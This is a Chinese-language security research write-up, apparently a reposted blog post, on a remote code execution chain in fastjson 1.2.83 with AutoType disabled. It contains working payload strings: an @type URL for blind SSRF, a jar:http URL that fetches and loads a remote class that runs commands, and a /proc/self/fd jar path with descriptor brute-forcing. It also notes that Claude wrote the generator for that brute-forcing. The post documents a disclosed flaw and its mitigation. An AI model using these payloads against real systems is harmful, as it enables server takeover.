Fastjson 1.2.83 远程代码执行:AutoType 关闭下的 SSRF 到 RCE

一直以来,大家都把 fastjson 1.2.83 当成”安全的那个版本”。它是 1.x 系列的最后一个版本,默认关闭 AutoType,多年来的建议都是”升级到 1.2.83 就没事了”。现在不一样了!

下面就是我们在目标 classpath 上不需要任何 gadget 类的情况下,一步步拿到 RCE 的完整过程。

我们为什么会盯上它

在各种项目里我们经常碰到 fastjson,这些年也攒下了一堆私有笔记、没做完的思路、没公开过的 payload,还有一些针对至今仍能打的版本、相当漂亮的 RCE 利用链。但 1.2.83 一直是我们停下来的地方。

它是 1.x 的最后一个版本,默认关闭 AutoType,每次我们把利用链打过去,得到的永远是那句 autoType is not support.,一次都没例外。这已经不是我们第一次跟 1.2.83 较劲了,只是这一次,我们终于把它拿下了。

这一次唯一不同的地方很小:我们把它跑成了一个 Spring Boot 应用,和目标在生产环境里的跑法一模一样。事后才明白,正是这个细节比其他任何东西都关键,只是当时我们还没意识到为什么。

什么是 AutoType

fastjson 有个功能叫 AutoType。如果你的 JSON 里带有特殊的 @type 键,fastjson 就会把它的值当作一个 Java 类名,并创建这个类的实例:

{"@type":"com.fearsoff.Test","name":"whatever"}

灾难就在这里!你可以指定一个”危险类”,它在被创建时会做一些”有用”的事情(比如打开一个 JDBC/JNDI 连接),从而实现代码执行。这就是整个”fastjson 反序列化”漏洞家族的由来。

关于它在旧版本里的原理,推荐读一读 su18 精彩的文章:他的 反序列化深度剖析 和 1.2.68 commons-io 利用链 都非常值得一看。

阿里巴巴为此跟它斗了好些年:先是类名黑名单,然后默认关闭 AutoType,再后来又加了一个能把这个功能彻底关掉的 SafeMode。到了 1.2.83,本该已经画上句号了。

所以我们真正的问题很简单:在 AutoType 关闭的情况下,还有没有哪条路,能让 fastjson 加载一个由我们指定的类?

我们发现的一处有意思的地方

在 fastjson 里,对 AutoType 的检查发生在 checkAutoType 函数中。为了搞清楚我们的 gadget payload 到底是怎么被拒掉的,我们把真正的 1.2.83 源码拉下来,从头到尾读了一遍。

其中大部分都是对着黑名单做哈希校验。但在接近末尾的地方,下面这段代码引起了我们的注意:

在决定这个类是否被允许之前,fastjson 会先用 getResourceAsStream 去读取这个类的字节。

IntelliJ IDEA CE 很贴心地给出了这个函数作用的说明:

而传给 getResourceAsStream 的,正是一个我们可控的字符串。typeName 就是我们的 @type。本来没人打算让它去碰本地 classpath 以外的任何东西,但 getResourceAsStream 接收的是一个”资源名”,而只要你把它写成 URL 的样子,资源名就可以是一个 URL。在攻击者可控的输入上做资源查找,很自然就会让人想到把它指向一个 URL,于是我们就这么干了。

我们把 @type 指向了一个自己控制的服务器上的普通 URL,http://fearsoff.org:31337/probe,在上面挂了个简单的 HTTP 日志记录器,然后把请求发了出去。结果什么都没回来。

原因就藏在那段代码的第一行:typeName.replace('.', '/')。类名里的每一个点都会被替换成斜杠,所以 fearsoff.org 早就被拆成了 fearsoff/org,这次请求也就无处可去。绕过的办法很老套:主机名里有点,但 IP 地址的整数形式里没有。127.0.0.1 写成一个整数就是 2130706433。于是我们改成这样指向我们的日志记录器:

{"@type":"http://2130706433:31337/probe"}

这一次,日志里出现了一个 GET。解析器真的向外发起了请求,试图从一个我们指定的 URL 去获取我们的”类”,凭借的仅仅是一个恰好长得像 URL 的资源名。这就是一个直接从反序列化器里冒出来的盲 SSRF,而且是在 AutoType 关闭的情况下。(我到现在都想不通,这么多年它是怎么一直没被人发现的。)

所以普通的 http:// 是能用了。那 jar: 链接呢?

typeName 是我们的 @typeresource 是 fastjson 实际去查找的那个名字。safeMode 和 autoTypeSupport 都是 false

现在我们手里有两样东西了:一个盲 SSRF,以及一个会去获取我们指定的 jar: 的服务器。但我们能不能让它去运行获取回来的东西?

jsonType

在紧接着的代码里可以看到:如果我们 jar 里的那个类带有 JSONType,fastjson 就会加载它并把它返回,而且这一步发生在那句 “autoType is not support” 之前。

于是计划就变成了:

  1. 让 fastjson 通过 getResourceAsStream 从一个我们可控的地方拿到我们的类。
  2. 因为我们的类带有 @JSONType,fastjson 会加载并创建它。
  3. 当 fastjson 创建实例时,这个类的静态初始化块就会执行,而那段静态代码就是我们的代码。

从 SSRF 到 RCE

接下来是更难的部分。到目前为止,fastjson 只是读取了我们的字节去查找注解。读取不等于执行,所以它还得真正把这个类定义出来、并创建一个实例。

最简单的做法是用 jar: 的 URL 形式 jar:http://host/jar!/Class,它指向远程 jar 里的某个类。这样一来,用 jar:http://2130706433:31337/f!/Evil,fastjson 就会下载这个 jar,loadClass 从中定义出 Evil,静态块随之执行。我们在本地应用上试了一下——成了!只用一个请求就拿到了 RCE,简直不敢相信!

我们赶紧拿去打真正的目标,然后……什么都没发生。搞什么?? jar 被获取了,日志也看到了那个 GET,可之后——什么都没有!!! 又试了十几次,还是没动静……失望透顶……问题到底出在哪?

于是我们更仔细地去看那次抓取 jar 的请求,发现里面的 User-Agent 是 Java/21.0.10。真的假的?这可能就是症结所在——目标跑的是 JDK 21。群里又蹦出一句响亮的脏话。这个漏洞在 JDK 8 上能打,到了现代 JVM 上却毫无反应。

为了弄清楚是哪里断了,我们在 JDK 21 上重新构建了应用再发一遍。这次终于看清了到底发生了什么:

ClassFormatError: Illegal class name "jar:http://2130706433:31337/f!/Evil"

一个在 8 上能用、在 21 上抛异常的 payload,于是我们把中间的各个版本挨个走了一遍。 JDK 8 能正常定义这个类,9 就抛异常,9 之后的每个版本也都一样会抛。 JDK 9 收紧了类名允许包含哪些字符,而那个双斜杠已经不在允许之列了。

SSRF 依然会触发,因为抓取发生在前面,但紧接着的加载就死掉了。

一个名字里带 ://(也就是那个双斜杠)的类名,现在会被拒绝。所以”直接从 http URL 加载”这个版本只是 Java 8 上的一个小把戏。在更新的版本上,它就退化成 SSRF,然后停在那儿。为什么啊??? 我们需要、也很想让它在 JDK 21 的目标上跑起来。 抓取显然已经发生了,我们的 SSRF 证明 JVM 确实已经把 jar 下载了下来,那么……也许这个 jar 正躺在服务器上的某个临时目录里,如果是那样的话,我们是不是可以用 file: 去指向它? 我们当时并不知道 Java 到底会不会把它下载的 jar 留下来,也不知道会放在哪里。也许在 /tmp 下面的某个地方?于是我们去翻资料,就这样翻到了 Otto Ebeling 在 2017 年的一篇文章,讲的是 Apache Shiro 里的一个 Java 反序列化漏洞:当他被一个不肯配合的类加载器卡住时,用了 /proc/self/fd 去访问服务器进程已经打开的文件。灵光一现的点就在这里:如果 JVM 还开着我们下载的那个 jar,那它就能通过 /proc/self/fd 被访问到。

哦?真的吗?

这个 /proc/self/fd 是什么?

当 JVM 通过 jar:http 下载一个远程 jar 时,它并不是流式读取,而是把整个文件保存到一个临时文件 /tmp/jar_cache<随机>.tmp,打开它,然后在保持打开的同时把这个文件从磁盘上删除。文件从目录列表里消失了,但通过那个仍然打开的文件描述符依然完全可读。在 Linux 上,一个打开的描述符 N 可以通过 /proc/self/fd/N 访问到。

所以在第一个请求下载完 jar 之后,它其实还在那里、还开着,位置类似 /proc/self/fd/11。第二个 @type 就指回它:

jar:file:.proc.self.fd.11!.E11

fastjson 会对它执行 replace('.', '/'),把它变成资源路径 jar:file:/proc/self/fd/11!/E11.class,直接从那个打开的描述符里读出我们的类。它最终加载时所用的名字是 jar:file:/proc/self/fd/11!/E11,而关键就在于——这个名字里不含 ://。那个双斜杠正是 JDK 9 开始在 defineClass 里拒绝的东西。file:/proc/self/fd/... 只有单斜杠,于是我们拿到了执行。

fastjson 正在创建 clazz = "class jar:file:.proc.self.fd.11!.E11" 的实例,由 LaunchedURLClassLoader(Spring Boot 的类加载器)加载,它上方的调用帧正是这个类的 <clinit> 在调用 Runtime.exec。一个 /proc/self/fd 的 @type 变成了真正的类,并执行了一条命令。

同一次运行的输出:被缓存的 jar 打开在 /proc/self/fd/11,从中加载的类以 root 身份执行了 id

不是吧!我们又拿到 RCE 了?

那个描述符编号是未知的。它不总是 11,取决于这个进程当时打开了多少文件。所以我们不去猜,而是做扫描:为每一个候选编号(E10E11,一直到几百)各准备一个特制的类,每个类都命名成与自己那个描述符相匹配,然后一个编号发一个请求,直到某个命中为止。

一旦确认 /proc/self/fd 这条读取路子是通的,我们就让 Claude 写了个 jar 生成器,批量产出这些类,并对编号做暴力枚举。

在那之后,我们终于在目标上拿到了 RCE。

一个重要前提

到这里,开头那个 Spring Boot 的细节才终于说得通了。只有 Spring Boot 的 fat jar 类加载器(LaunchedURLClassLoader)才会把一个长得像 URL 的类名真正变成一次网络请求。同样一个应用,如果用普通的 java -jar 跑,或者作为 WAR 部署到一台普通的 Tomcat 上,就会把那个名字当成本地文件路径来处理,根本不会向外发起任何请求。我们的测试环境恰好是一个 Spring Boot fat jar,和目标一模一样。要不是这样,我们只会看不到任何回连,然后像其他所有人一样,以为 1.2.83 是安全的,转身走人。

如何防御

-Dfastjson.parser.safeMode=true

不过更好的做法是升级到 fastjson 2.x。

阿里巴巴的安全公告

我们把它报告给了阿里巴巴。此后他们针对 1.2.68 到 1.2.83 的整个版本区间发布了一份严重(Critical)级别的安全公告,给出的建议和我们这里一致:开启 SafeMode,或迁移到 fastjson2。公告将该漏洞的报告归功于 FearsOff。

参考:https://fearsoff.org/cn/research/fastjson-1-2-83-rce

https://x.com/k_firsov/status/2078872293745570032

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容